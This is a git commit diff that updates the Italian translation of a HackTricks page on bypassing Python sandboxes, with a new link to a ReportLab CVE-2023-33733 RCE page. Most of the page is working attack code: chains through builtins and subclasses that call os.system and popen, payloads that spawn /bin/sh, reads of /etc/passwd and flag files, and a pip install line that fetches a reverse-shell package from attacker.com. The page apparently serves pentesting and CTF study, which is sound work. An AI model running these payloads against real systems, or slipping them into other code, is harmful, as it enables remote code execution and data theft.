Translated ['src/network-services-pentesting/pentesting-web/django.md',

This commit is contained in:
Translator 2025-08-28 10:25:09 +00:00
parent 58be720e82
commit be7d5f65e8
4 changed files with 230 additions and 129 deletions

View File

@ -70,6 +70,7 @@
- [Python Sandbox Escape & Pyscript](generic-methodologies-and-resources/python/README.md)
- [Bypass Python sandboxes](generic-methodologies-and-resources/python/bypass-python-sandboxes/README.md)
- [LOAD_NAME / LOAD_CONST opcode OOB Read](generic-methodologies-and-resources/python/bypass-python-sandboxes/load_name-load_const-opcode-oob-read.md)
- [Reportlab Xhtml2pdf Triple Brackets Expression Evaluation Rce Cve 2023 33733](generic-methodologies-and-resources/python/bypass-python-sandboxes/reportlab-xhtml2pdf-triple-brackets-expression-evaluation-rce-cve-2023-33733.md)
- [Class Pollution (Python's Prototype Pollution)](generic-methodologies-and-resources/python/class-pollution-pythons-prototype-pollution.md)
- [Keras Model Deserialization Rce And Gadget Hunting](generic-methodologies-and-resources/python/keras-model-deserialization-rce-and-gadget-hunting.md)
- [Python Internal Read Gadgets](generic-methodologies-and-resources/python/python-internal-read-gadgets.md)

View File

@ -2,11 +2,11 @@
{{#include ../../../banners/hacktricks-training.md}}
Questi sono alcuni trucchi per bypassare le protezioni delle sandbox Python ed eseguire comandi arbitrari.
Questi sono alcuni trucchi per bypassare le protezioni sandbox di python ed eseguire comandi arbitrari.
## Librerie di Esecuzione Comandi
## Librerie per l'esecuzione di comandi
La prima cosa che devi sapere è se puoi eseguire direttamente codice con qualche libreria già importata, o se puoi importare una di queste librerie:
La prima cosa che devi sapere è se puoi eseguire codice direttamente con qualche libreria già importata, o se puoi importare una di queste librerie:
```python
os.system("ls")
os.popen("ls").read()
@ -39,21 +39,21 @@ open('/var/www/html/input', 'w').write('123')
execfile('/usr/lib/python2.7/os.py')
system('ls')
```
Ricorda che le funzioni _**open**_ e _**read**_ possono essere utili per **leggere file** all'interno della sandbox python e per **scrivere del codice** che potresti **eseguire** per **bypassare** la sandbox.
Ricorda che le funzioni _**open**_ e _**read**_ possono essere utili per **leggere file** all'interno della python sandbox e per **scrivere del codice** che potresti **eseguire** per effettuare un bypass della sandbox.
> [!CAUTION] > La funzione **input()** di **Python2** consente di eseguire codice python prima che il programma si arresti.
> [!CAUTION] > **Python2 input()** function permette di eseguire codice python prima che il programma si interrompa.
Python cerca di **caricare le librerie dalla directory corrente per prima** (il seguente comando stamperà da dove python sta caricando i moduli): `python3 -c 'import sys; print(sys.path)'`
Python cerca di **caricare le librerie dalla directory corrente prima** (il comando seguente stamperà da dove python carica i moduli): `python3 -c 'import sys; print(sys.path)'`
![](<../../../images/image (559).png>)
## Bypassare la sandbox pickle con i pacchetti python installati di default
## Bypass pickle sandbox con i pacchetti python preinstallati
### Pacchetti di default
### Pacchetti preinstallati
Puoi trovare un **elenco dei pacchetti pre-installati** qui: [https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html](https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html)\
Nota che da un pickle puoi far sì che l'ambiente python **importi librerie arbitrarie** installate nel sistema.\
Ad esempio, il seguente pickle, quando caricato, importerà la libreria pip per usarla:
Puoi trovare una **lista dei pacchetti preinstallati** qui: [https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html](https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html)\
Nota che da un pickle puoi far sì che il python env **import arbitrary libraries** installate nel sistema.\
Per esempio, il seguente pickle, quando caricato, importerà la libreria pip per utilizzarla:
```python
#Note that here we are importing the pip library so the pickle is created correctly
#however, the victim doesn't even need to have the library installed to execute it
@ -66,32 +66,32 @@ return (pip.main,(["list"],))
print(base64.b64encode(pickle.dumps(P(), protocol=0)))
```
Per ulteriori informazioni su come funziona pickle, controlla questo: [https://checkoway.net/musings/pickle/](https://checkoway.net/musings/pickle/)
Per maggiori informazioni su come funziona pickle, consulta: [https://checkoway.net/musings/pickle/](https://checkoway.net/musings/pickle/)
### Pacchetto Pip
### Pacchetto pip
Trucco condiviso da **@isHaacK**
Se hai accesso a `pip` o `pip.main()`, puoi installare un pacchetto arbitrario e ottenere una reverse shell chiamando:
Se hai accesso a `pip` o a `pip.main()` puoi installare un pacchetto arbitrario e ottenere una reverse shell chiamando:
```bash
pip install http://attacker.com/Rerverse.tar.gz
pip.main(["install", "http://attacker.com/Rerverse.tar.gz"])
```
Puoi scaricare il pacchetto per creare la reverse shell qui. Si prega di notare che prima di utilizzarlo è necessario **decomprimerlo, modificare il `setup.py` e inserire il tuo IP per la reverse shell**:
Puoi scaricare il package per creare la reverse shell qui. Nota che, prima di usarlo dovresti **decomprimerlo, modificare il `setup.py`, e inserire il tuo IP per la reverse shell**:
{{#file}}
Reverse.tar (1).gz
{{#endfile}}
> [!TIP]
> Questo pacchetto si chiama `Reverse`. Tuttavia, è stato appositamente creato in modo che quando esci dalla reverse shell il resto dell'installazione fallisca, quindi **non lascerai alcun pacchetto python extra installato sul server** quando te ne vai.
> This package is called `Reverse`. However, it was specially crafted so that when you exit the reverse shell the rest of the installation will fail, so you **won't leave any extra python package installed on the server** when you leave.
## Eval-ing python code
> [!WARNING]
> Nota che exec consente stringhe multilinea e ";", ma eval non lo fa (controlla l'operatore walrus)
> Nota che `exec` permette stringhe multilinea e ";" , ma `eval` no (check walrus operator)
Se alcuni caratteri sono vietati, puoi utilizzare la **rappresentazione hex/octal/B64** per **bypassare** la restrizione:
Se alcuni caratteri sono proibiti puoi usare la rappresentazione **hex/octal/B64** per **bypass** la restrizione:
```python
exec("print('RCE'); __import__('os').system('ls')") #Using ";"
exec("print('RCE')\n__import__('os').system('ls')") #Using "\n"
@ -112,7 +112,7 @@ exec("\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f\x28\x27\x6f\x73\x27\x29\x2e\x73\x
exec('X19pbXBvcnRfXygnb3MnKS5zeXN0ZW0oJ2xzJyk='.decode("base64")) #Only python2
exec(__import__('base64').b64decode('X19pbXBvcnRfXygnb3MnKS5zeXN0ZW0oJ2xzJyk='))
```
### Altre librerie che consentono di valutare il codice python
### Altre librerie che permettono di eval codice python
```python
#Pandas
import pandas as pd
@ -126,7 +126,15 @@ df.query("@pd.read_pickle('http://0.0.0.0:6334/output.exploit')")
# Like:
df.query("@pd.annotations.__class__.__init__.__globals__['__builtins__']['eval']('print(1)')")
```
## Operatori e trucchi brevi
Vedi anche un reale sandboxed evaluator escape nei generatori di PDF:
- ReportLab/xhtml2pdf triple-bracket [[[...]]] valutazione delle espressioni → RCE (CVE-2023-33733). Abusa di rl_safe_eval per raggiungere function.__globals__ e os.system da attributi valutati (per esempio, colore del font) e restituisce un valore valido per mantenere stabile il rendering.
{{#ref}}
reportlab-xhtml2pdf-triple-brackets-expression-evaluation-rce-cve-2023-33733.md
{{#endref}}
## Operatori e trucchi rapidi
```python
# walrus operator allows generating variable inside a list
## everything will be executed in order
@ -135,9 +143,9 @@ df.query("@pd.annotations.__class__.__init__.__globals__['__builtins__']['eval']
[y:=().__class__.__base__.__subclasses__()[84]().load_module('builtins'),y.__import__('signal').alarm(0), y.exec("import\x20os,sys\nclass\x20X:\n\tdef\x20__del__(self):os.system('/bin/sh')\n\nsys.modules['pwnd']=X()\nsys.exit()", {"__builtins__":y.__dict__})]
## This is very useful for code injected inside "eval" as it doesn't support multiple lines or ";"
```
## Bypassare le protezioni attraverso le codifiche (UTF-7)
## Bypassare le protezioni tramite codifiche (UTF-7)
In [**questo articolo**](https://blog.arkark.dev/2022/11/18/seccon-en/#misc-latexipy) UFT-7 viene utilizzato per caricare ed eseguire codice python arbitrario all'interno di un apparente sandbox:
In [**this writeup**](https://blog.arkark.dev/2022/11/18/seccon-en/#misc-latexipy) UFT-7 viene usato per caricare ed eseguire codice python arbitrario all'interno di una apparente sandbox:
```python
assert b"+AAo-".decode("utf_7") == "\n"
@ -148,11 +156,11 @@ return x
#+AAo-print(open("/flag.txt").read())
""".lstrip()
```
È anche possibile bypassarlo utilizzando altre codifiche, ad esempio `raw_unicode_escape` e `unicode_escape`.
È anche possibile bypassarlo usando altre codifiche, ad es. `raw_unicode_escape` e `unicode_escape`.
## Esecuzione di Python senza chiamate
## Esecuzione Python senza chiamate
Se sei all'interno di una prigione python che **non ti consente di effettuare chiamate**, ci sono ancora alcuni modi per **eseguire funzioni, codice** e **comandi arbitrari**.
Se ti trovi all'interno di una python jail che **non ti permette di effettuare chiamate**, ci sono comunque modi per **eseguire funzioni arbitrarie, codice** e **comandi**.
### RCE con [decorators](https://docs.python.org/3/glossary.html#term-decorator)
```python
@ -176,13 +184,13 @@ X = exec(X)
@'__import__("os").system("sh")'.format
class _:pass
```
### RCE creando oggetti e sovraccarico
### RCE creating objects and overloading
Se puoi **dichiarare una classe** e **creare un oggetto** di quella classe, potresti **scrivere/sovrascrivere diversi metodi** che possono essere **attivati** **senza** **necessità di chiamarli direttamente**.
Se puoi **declare a class** e **create an object** di quella classe, puoi **write/overwrite different methods** che possono essere **triggered** senza doverle chiamare direttamente.
#### RCE con classi personalizzate
#### RCE with custom classes
Puoi modificare alcuni **metodi di classe** (_sovrascrivendo metodi di classe esistenti o creando una nuova classe_) per farli **eseguire codice arbitrario** quando **attivati** senza chiamarli direttamente.
Puoi modificare alcuni **class methods** (_by overwriting existing class methods or creating a new class_) per farli **execute arbitrary code** quando vengono **triggered** senza chiamarli direttamente.
```python
# This class has 3 different ways to trigger RCE without directly calling any function
class RCE:
@ -232,9 +240,9 @@ __iand__ (k = 'import os; os.system("sh")')
__ior__ (k |= 'import os; os.system("sh")')
__ixor__ (k ^= 'import os; os.system("sh")')
```
#### Creazione di oggetti con [metaclassi](https://docs.python.org/3/reference/datamodel.html#metaclasses)
#### Creare oggetti con [metaclasses](https://docs.python.org/3/reference/datamodel.html#metaclasses)
La cosa fondamentale che le metaclassi ci permettono di fare è **creare un'istanza di una classe, senza chiamare direttamente il costruttore**, creando una nuova classe con la classe target come metaclasse.
La cosa fondamentale che le metaclasses ci permettono di fare è **creare un'istanza di una class, senza chiamare direttamente il constructor**, creando una nuova class con la target class come metaclass.
```python
# Code from https://ur4ndom.dev/posts/2022-07-04-gctf-treebox/ and fixed
# This will define the members of the "subclass"
@ -249,9 +257,9 @@ Sub['import os; os.system("sh")']
## You can also use the tricks from the previous section to get RCE with this object
```
#### Creazione di oggetti con eccezioni
#### Creare oggetti con le eccezioni
Quando viene **attivata un'eccezione**, un oggetto di **Exception** viene **creato** senza che tu debba chiamare direttamente il costruttore (un trucco di [**@\_nag0mez**](https://mobile.twitter.com/_nag0mez)):
Quando un'**eccezione viene sollevata** un oggetto di **Exception** viene **creato** senza che tu debba chiamare il costruttore direttamente (un trucco di [**@\_nag0mez**](https://mobile.twitter.com/_nag0mez)):
```python
class RCE(Exception):
def __init__(self):
@ -271,7 +279,7 @@ k + 'import os; os.system("sh")' #RCE abusing __add__
## You can also use the tricks from the previous section to get RCE with this object
```
### Maggiore RCE
### Altre RCE
```python
# From https://ur4ndom.dev/posts/2022-07-04-gctf-treebox/
# If sys is imported, you can sys.excepthook and trigger it by triggering an error
@ -293,7 +301,7 @@ __iadd__ = eval
__builtins__.__import__ = X
{}[1337]
```
### Leggi il file con l'aiuto e la licenza dei builtins
### Leggi file con builtins help & license
```python
__builtins__.__dict__["license"]._Printer__filenames=["flag"]
a = __builtins__.help
@ -304,20 +312,20 @@ pass
```
## Builtins
- [**Funzioni builtins di python2**](https://docs.python.org/2/library/functions.html)
- [**Funzioni builtins di python3**](https://docs.python.org/3/library/functions.html)
- [**Builtins functions of python2**](https://docs.python.org/2/library/functions.html)
- [**Builtins functions of python3**](https://docs.python.org/3/library/functions.html)
Se puoi accedere all'oggetto **`__builtins__`** puoi importare librerie (nota che potresti anche usare qui un'altra rappresentazione di stringa mostrata nell'ultima sezione):
Se puoi accedere all'oggetto **`__builtins__`** puoi importare librerie (nota che qui puoi anche usare altre rappresentazioni stringa mostrate nell'ultima sezione):
```python
__builtins__.__import__("os").system("ls")
__builtins__.__dict__['__import__']("os").system("ls")
```
### No Builtins
### Senza Builtins
Quando non hai `__builtins__` non sarai in grado di importare nulla né di leggere o scrivere file poiché **tutte le funzioni globali** (come `open`, `import`, `print`...) **non sono caricate**.\
Tuttavia, **per impostazione predefinita, python importa molti moduli in memoria**. Questi moduli possono sembrare benigni, ma alcuni di essi **importano anche funzionalità pericolose** al loro interno che possono essere accessibili per ottenere anche **l'esecuzione di codice arbitrario**.
Tuttavia, **di default python importa molti moduli in memoria**. Questi moduli possono sembrare benigni, ma alcuni di essi stanno **anche importando funzionalità pericolose** al loro interno che possono essere sfruttate per ottenere anche **arbitrary code execution**.
Negli esempi seguenti puoi osservare come **abuse** di alcuni di questi moduli "**benigni**" caricati per **accedere** a **funzionalità** **pericolose** al loro interno.
Negli esempi seguenti puoi osservare come **abusare** alcuni di questi "**benign**" moduli caricati per **accedere** a **funzionalità** **pericolose** al loro interno.
**Python2**
```python
@ -359,15 +367,15 @@ get_flag.__globals__['__builtins__']
# Get builtins from loaded classes
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "builtins" in x.__init__.__globals__ ][0]["builtins"]
```
[**Di seguito c'è una funzione più grande**](#recursive-search-of-builtins-globals) per trovare decine/**centinaia** di **posti** dove puoi trovare i **builtins**.
[**Below there is a bigger function**](#recursive-search-of-builtins-globals) per trovare decine/**centinaia** di **posti** dove puoi trovare i **builtins**.
#### Python2 e Python3
#### Python2 and Python3
```python
# Recover __builtins__ and make everything easier
__builtins__= [x for x in (1).__class__.__base__.__subclasses__() if x.__name__ == 'catch_warnings'][0]()._module.__builtins__
__builtins__["__import__"]('os').system('ls')
```
### Payloads built-in
### Builtins payloads
```python
# Possible payloads once you have found the builtins
__builtins__["open"]("/etc/passwd").read()
@ -375,9 +383,9 @@ __builtins__["__import__"]("os").system("ls")
# There are lots of other payloads that can be abused to execute commands
# See them below
```
## Globals e locals
## Globals and locals
Controllare i **`globals`** e **`locals`** è un buon modo per sapere a cosa puoi accedere.
Controllare le **`globals`** e le **`locals`** è un buon modo per sapere a cosa puoi accedere.
```python
>>> globals()
{'__name__': '__main__', '__doc__': None, '__package__': None, '__loader__': <class '_frozen_importlib.BuiltinImporter'>, '__spec__': None, '__annotations__': {}, '__builtins__': <module 'builtins' (built-in)>, 'attr': <module 'attr' from '/usr/local/lib/python3.9/site-packages/attr.py'>, 'a': <class 'importlib.abc.Finder'>, 'b': <class 'importlib.abc.MetaPathFinder'>, 'c': <class 'str'>, '__warningregistry__': {'version': 0, ('MetaPathFinder.find_module() is deprecated since Python 3.4 in favor of MetaPathFinder.find_spec() (available since 3.4)', <class 'DeprecationWarning'>, 1): True}, 'z': <class 'str'>}
@ -401,15 +409,15 @@ class_obj.__init__.__globals__
[ x for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__)]
[<class '_frozen_importlib._ModuleLock'>, <class '_frozen_importlib._DummyModuleLock'>, <class '_frozen_importlib._ModuleLockManager'>, <class '_frozen_importlib.ModuleSpec'>, <class '_frozen_importlib_external.FileLoader'>, <class '_frozen_importlib_external._NamespacePath'>, <class '_frozen_importlib_external._NamespaceLoader'>, <class '_frozen_importlib_external.FileFinder'>, <class 'zipimport.zipimporter'>, <class 'zipimport._ZipImportResourceReader'>, <class 'codecs.IncrementalEncoder'>, <class 'codecs.IncrementalDecoder'>, <class 'codecs.StreamReaderWriter'>, <class 'codecs.StreamRecoder'>, <class 'os._wrap_close'>, <class '_sitebuiltins.Quitter'>, <class '_sitebuiltins._Printer'>, <class 'types.DynamicClassAttribute'>, <class 'types._GeneratorWrapper'>, <class 'warnings.WarningMessage'>, <class 'warnings.catch_warnings'>, <class 'reprlib.Repr'>, <class 'functools.partialmethod'>, <class 'functools.singledispatchmethod'>, <class 'functools.cached_property'>, <class 'contextlib._GeneratorContextManagerBase'>, <class 'contextlib._BaseExitStack'>, <class 'sre_parse.State'>, <class 'sre_parse.SubPattern'>, <class 'sre_parse.Tokenizer'>, <class 're.Scanner'>, <class 'rlcompleter.Completer'>, <class 'dis.Bytecode'>, <class 'string.Template'>, <class 'cmd.Cmd'>, <class 'tokenize.Untokenizer'>, <class 'inspect.BlockFinder'>, <class 'inspect.Parameter'>, <class 'inspect.BoundArguments'>, <class 'inspect.Signature'>, <class 'bdb.Bdb'>, <class 'bdb.Breakpoint'>, <class 'traceback.FrameSummary'>, <class 'traceback.TracebackException'>, <class '__future__._Feature'>, <class 'codeop.Compile'>, <class 'codeop.CommandCompiler'>, <class 'code.InteractiveInterpreter'>, <class 'pprint._safe_key'>, <class 'pprint.PrettyPrinter'>, <class '_weakrefset._IterationGuard'>, <class '_weakrefset.WeakSet'>, <class 'threading._RLock'>, <class 'threading.Condition'>, <class 'threading.Semaphore'>, <class 'threading.Event'>, <class 'threading.Barrier'>, <class 'threading.Thread'>, <class 'subprocess.CompletedProcess'>, <class 'subprocess.Popen'>]
```
[**Di seguito c'è una funzione più grande**](#recursive-search-of-builtins-globals) per trovare decine/**centinaia** di **posti** dove puoi trovare i **globals**.
[**Below there is a bigger function**](#recursive-search-of-builtins-globals) to find tens/**hundreds** of **places** were you can find the **globals**.
## Scoprire Esecuzione Arbitraria
## Scoprire l'esecuzione arbitraria
Qui voglio spiegare come scoprire facilmente **funzionalità più pericolose caricate** e proporre exploit più affidabili.
#### Accesso a sottoclassi con bypass
#### Accesso alle subclasses con bypasses
Una delle parti più sensibili di questa tecnica è essere in grado di **accedere alle sottoclassi di base**. Negli esempi precedenti questo è stato fatto usando `''.__class__.__base__.__subclasses__()` ma ci sono **altri modi possibili**:
Una delle parti più sensibili di questa tecnica è poter **accedere alle subclasses di base**. Negli esempi precedenti questo è stato fatto usando `''.__class__.__base__.__subclasses__()` ma ci sono **altri modi possibili**:
```python
#You can access the base from mostly anywhere (in regular conditions)
"".__class__.__base__.__subclasses__()
@ -437,18 +445,18 @@ defined_func.__class__.__base__.__subclasses__()
(''|attr('__class__')|attr('__mro__')|attr('__getitem__')(1)|attr('__subclasses__')()|attr('__getitem__')(132)|attr('__init__')|attr('__globals__')|attr('__getitem__')('popen'))('cat+flag.txt').read()
(''|attr('\x5f\x5fclass\x5f\x5f')|attr('\x5f\x5fmro\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')(1)|attr('\x5f\x5fsubclasses\x5f\x5f')()|attr('\x5f\x5fgetitem\x5f\x5f')(132)|attr('\x5f\x5finit\x5f\x5f')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('popen'))('cat+flag.txt').read()
```
### Trovare librerie pericolose caricate
### Individuare librerie pericolose caricate
Ad esempio, sapendo che con la libreria **`sys`** è possibile **importare librerie arbitrarie**, puoi cercare tutti i **moduli caricati che hanno importato sys al loro interno**:
Ad esempio, sapendo che con la libreria **`sys`** è possibile **importare librerie arbitrarie**, puoi cercare tutti i **moduli caricati che hanno importato `sys` al loro interno**:
```python
[ x.__name__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "sys" in x.__init__.__globals__ ]
['_ModuleLock', '_DummyModuleLock', '_ModuleLockManager', 'ModuleSpec', 'FileLoader', '_NamespacePath', '_NamespaceLoader', 'FileFinder', 'zipimporter', '_ZipImportResourceReader', 'IncrementalEncoder', 'IncrementalDecoder', 'StreamReaderWriter', 'StreamRecoder', '_wrap_close', 'Quitter', '_Printer', 'WarningMessage', 'catch_warnings', '_GeneratorContextManagerBase', '_BaseExitStack', 'Untokenizer', 'FrameSummary', 'TracebackException', 'CompletedProcess', 'Popen', 'finalize', 'NullImporter', '_HackedGetData', '_localized_month', '_localized_day', 'Calendar', 'different_locale', 'SSLObject', 'Request', 'OpenerDirector', 'HTTPPasswordMgr', 'AbstractBasicAuthHandler', 'AbstractDigestAuthHandler', 'URLopener', '_PaddedFile', 'CompressedValue', 'LogRecord', 'PercentStyle', 'Formatter', 'BufferingFormatter', 'Filter', 'Filterer', 'PlaceHolder', 'Manager', 'LoggerAdapter', '_LazyDescr', '_SixMetaPathImporter', 'MimeTypes', 'ConnectionPool', '_LazyDescr', '_SixMetaPathImporter', 'Bytecode', 'BlockFinder', 'Parameter', 'BoundArguments', 'Signature', '_DeprecatedValue', '_ModuleWithDeprecations', 'Scrypt', 'WrappedSocket', 'PyOpenSSLContext', 'ZipInfo', 'LZMACompressor', 'LZMADecompressor', '_SharedFile', '_Tellable', 'ZipFile', 'Path', '_Flavour', '_Selector', 'JSONDecoder', 'Response', 'monkeypatch', 'InstallProgress', 'TextProgress', 'BaseDependency', 'Origin', 'Version', 'Package', '_Framer', '_Unframer', '_Pickler', '_Unpickler', 'NullTranslations']
```
Ci sono molti, e **ne abbiamo solo bisogno di uno** per eseguire comandi:
Ce ne sono molti, e **ce ne serve solo uno** per eseguire comandi:
```python
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "sys" in x.__init__.__globals__ ][0]["sys"].modules["os"].system("ls")
```
Possiamo fare la stessa cosa con **altre librerie** che sappiamo possono essere utilizzate per **eseguire comandi**:
Possiamo fare la stessa cosa con **altre librerie** che sappiamo possono essere usate per **eseguire comandi**:
```python
#os
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "os" in x.__init__.__globals__ ][0]["os"].system("ls")
@ -483,7 +491,7 @@ Possiamo fare la stessa cosa con **altre librerie** che sappiamo possono essere
#pdb
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "pdb" in x.__init__.__globals__ ][0]["pdb"].os.system("ls")
```
Inoltre, potremmo anche cercare quali moduli stanno caricando librerie dannose:
Inoltre, potremmo anche cercare quali modules stanno caricando malicious libraries:
```python
bad_libraries_names = ["os", "commands", "subprocess", "pty", "importlib", "imp", "sys", "builtins", "pip", "pdb"]
for b in bad_libraries_names:
@ -502,7 +510,7 @@ builtins: FileLoader, _NamespacePath, _NamespaceLoader, FileFinder, IncrementalE
pdb:
"""
```
Inoltre, se pensi che **altre librerie** possano **invochare funzioni per eseguire comandi**, possiamo anche **filtrare per nomi di funzioni** all'interno delle possibili librerie:
Inoltre, se pensi che **altre librerie** possano essere in grado di **invocare funzioni per eseguire comandi**, possiamo anche **filtrare per nomi di funzioni** all'interno delle possibili librerie:
```python
bad_libraries_names = ["os", "commands", "subprocess", "pty", "importlib", "imp", "sys", "builtins", "pip", "pdb"]
bad_func_names = ["system", "popen", "getstatusoutput", "getoutput", "call", "Popen", "spawn", "import_module", "__import__", "load_source", "execfile", "execute", "__builtins__"]
@ -535,10 +543,10 @@ execute:
__builtins__: _ModuleLock, _DummyModuleLock, _ModuleLockManager, ModuleSpec, FileLoader, _NamespacePath, _NamespaceLoader, FileFinder, zipimporter, _ZipImportResourceReader, IncrementalEncoder, IncrementalDecoder, StreamReaderWriter, StreamRecoder, _wrap_close, Quitter, _Printer, DynamicClassAttribute, _GeneratorWrapper, WarningMessage, catch_warnings, Repr, partialmethod, singledispatchmethod, cached_property, _GeneratorContextManagerBase, _BaseExitStack, Completer, State, SubPattern, Tokenizer, Scanner, Untokenizer, FrameSummary, TracebackException, _IterationGuard, WeakSet, _RLock, Condition, Semaphore, Event, Barrier, Thread, CompletedProcess, Popen, finalize, _TemporaryFileCloser, _TemporaryFileWrapper, SpooledTemporaryFile, TemporaryDirectory, NullImporter, _HackedGetData, DOMBuilder, DOMInputSource, NamedNodeMap, TypeInfo, ReadOnlySequentialNamedNodeMap, ElementInfo, Template, Charset, Header, _ValueFormatter, _localized_month, _localized_day, Calendar, different_locale, AddrlistClass, _PolicyBase, BufferedSubFile, FeedParser, Parser, BytesParser, Message, HTTPConnection, SSLObject, Request, OpenerDirector, HTTPPasswordMgr, AbstractBasicAuthHandler, AbstractDigestAuthHandler, URLopener, _PaddedFile, Address, Group, HeaderRegistry, ContentManager, CompressedValue, _Feature, LogRecord, PercentStyle, Formatter, BufferingFormatter, Filter, Filterer, PlaceHolder, Manager, LoggerAdapter, _LazyDescr, _SixMetaPathImporter, Queue, _PySimpleQueue, HMAC, Timeout, Retry, HTTPConnection, MimeTypes, RequestField, RequestMethods, DeflateDecoder, GzipDecoder, MultiDecoder, ConnectionPool, CharSetProber, CodingStateMachine, CharDistributionAnalysis, JapaneseContextAnalysis, UniversalDetector, _LazyDescr, _SixMetaPathImporter, Bytecode, BlockFinder, Parameter, BoundArguments, Signature, _DeprecatedValue, _ModuleWithDeprecations, DSAParameterNumbers, DSAPublicNumbers, DSAPrivateNumbers, ObjectIdentifier, ECDSA, EllipticCurvePublicNumbers, EllipticCurvePrivateNumbers, RSAPrivateNumbers, RSAPublicNumbers, DERReader, BestAvailableEncryption, CBC, XTS, OFB, CFB, CFB8, CTR, GCM, Cipher, _CipherContext, _AEADCipherContext, AES, Camellia, TripleDES, Blowfish, CAST5, ARC4, IDEA, SEED, ChaCha20, _FragList, _SSHFormatECDSA, Hash, SHAKE128, SHAKE256, BLAKE2b, BLAKE2s, NameAttribute, RelativeDistinguishedName, Name, RFC822Name, DNSName, UniformResourceIdentifier, DirectoryName, RegisteredID, IPAddress, OtherName, Extensions, CRLNumber, AuthorityKeyIdentifier, SubjectKeyIdentifier, AuthorityInformationAccess, SubjectInformationAccess, AccessDescription, BasicConstraints, DeltaCRLIndicator, CRLDistributionPoints, FreshestCRL, DistributionPoint, PolicyConstraints, CertificatePolicies, PolicyInformation, UserNotice, NoticeReference, ExtendedKeyUsage, TLSFeature, InhibitAnyPolicy, KeyUsage, NameConstraints, Extension, GeneralNames, SubjectAlternativeName, IssuerAlternativeName, CertificateIssuer, CRLReason, InvalidityDate, PrecertificateSignedCertificateTimestamps, SignedCertificateTimestamps, OCSPNonce, IssuingDistributionPoint, UnrecognizedExtension, CertificateSigningRequestBuilder, CertificateBuilder, CertificateRevocationListBuilder, RevokedCertificateBuilder, _OpenSSLError, Binding, _X509NameInvalidator, PKey, _EllipticCurve, X509Name, X509Extension, X509Req, X509, X509Store, X509StoreContext, Revoked, CRL, PKCS12, NetscapeSPKI, _PassphraseHelper, _CallbackExceptionHelper, Context, Connection, _CipherContext, _CMACContext, _X509ExtensionParser, DHPrivateNumbers, DHPublicNumbers, DHParameterNumbers, _DHParameters, _DHPrivateKey, _DHPublicKey, Prehashed, _DSAVerificationContext, _DSASignatureContext, _DSAParameters, _DSAPrivateKey, _DSAPublicKey, _ECDSASignatureContext, _ECDSAVerificationContext, _EllipticCurvePrivateKey, _EllipticCurvePublicKey, _Ed25519PublicKey, _Ed25519PrivateKey, _Ed448PublicKey, _Ed448PrivateKey, _HashContext, _HMACContext, _Certificate, _RevokedCertificate, _CertificateRevocationList, _CertificateSigningRequest, _SignedCertificateTimestamp, OCSPRequestBuilder, _SingleResponse, OCSPResponseBuilder, _OCSPResponse, _OCSPRequest, _Poly1305Context, PSS, OAEP, MGF1, _RSASignatureContext, _RSAVerificationContext, _RSAPrivateKey, _RSAPublicKey, _X25519PublicKey, _X25519PrivateKey, _X448PublicKey, _X448PrivateKey, Scrypt, PKCS7SignatureBuilder, Backend, GetCipherByName, WrappedSocket, PyOpenSSLContext, ZipInfo, LZMACompressor, LZMADecompressor, _SharedFile, _Tellable, ZipFile, Path, _Flavour, _Selector, RawJSON, JSONDecoder, JSONEncoder, Cookie, CookieJar, MockRequest, MockResponse, Response, BaseAdapter, UnixHTTPConnection, monkeypatch, JSONDecoder, JSONEncoder, InstallProgress, TextProgress, BaseDependency, Origin, Version, Package, _WrappedLock, Cache, ProblemResolver, _FilteredCacheHelper, FilteredCache, _Framer, _Unframer, _Pickler, _Unpickler, NullTranslations, _wrap_close
"""
```
## Ricerca Ricorsiva di Builtins, Globals...
## Ricerca ricorsiva di Builtins, Globals...
> [!WARNING]
> Questo è semplicemente **fantastico**. Se stai **cercando un oggetto come globals, builtins, open o qualsiasi altra cosa**, usa questo script per **trovare ricorsivamente i luoghi in cui puoi trovare quell'oggetto.**
> Questo è semplicemente **fantastico**. Se stai **cercando un oggetto come globals, builtins, open o qualsiasi altro** usa semplicemente questo script per **trovare ricorsivamente i posti in cui puoi reperire quell'oggetto.**
```python
import os, sys # Import these to find more gadgets
@ -656,13 +664,14 @@ main()
```
Puoi controllare l'output di questo script su questa pagina:
{{#ref}}
https://github.com/carlospolop/hacktricks/blob/master/generic-methodologies-and-resources/python/bypass-python-sandboxes/broken-reference/README.md
{{#endref}}
## Python Format String
Se **invi** una **stringa** a python che verrà **formattata**, puoi usare `{}` per accedere a **informazioni interne di python.** Puoi usare gli esempi precedenti per accedere a globals o builtins, ad esempio.
Se invii una **string** a python che verrà **formatted**, puoi usare `{}` per accedere alle **python internal information.** Puoi usare gli esempi precedenti per accedere a globals o builtins, per esempio.
```python
# Example from https://www.geeksforgeeks.org/vulnerability-in-str-format-in-python/
CONFIG = {
@ -682,16 +691,16 @@ people = PeopleInfo('GEEKS', 'FORGEEKS')
st = "{people_obj.__init__.__globals__[CONFIG][KEY]}"
get_name_for_avatar(st, people_obj = people)
```
Nota come puoi **accedere agli attributi** in modo normale con un **punto** come `people_obj.__init__` e **elemento dict** con **parentesi** senza virgolette `__globals__[CONFIG]`
Nota come puoi **accedere agli attributi** in modo normale con un **punto** come `people_obj.__init__` e l'**elemento di dict** con le **parentesi quadre** senza virgolette `__globals__[CONFIG]`
Nota anche che puoi usare `.__dict__` per enumerare gli elementi di un oggetto `get_name_for_avatar("{people_obj.__init__.__globals__[os].__dict__}", people_obj = people)`
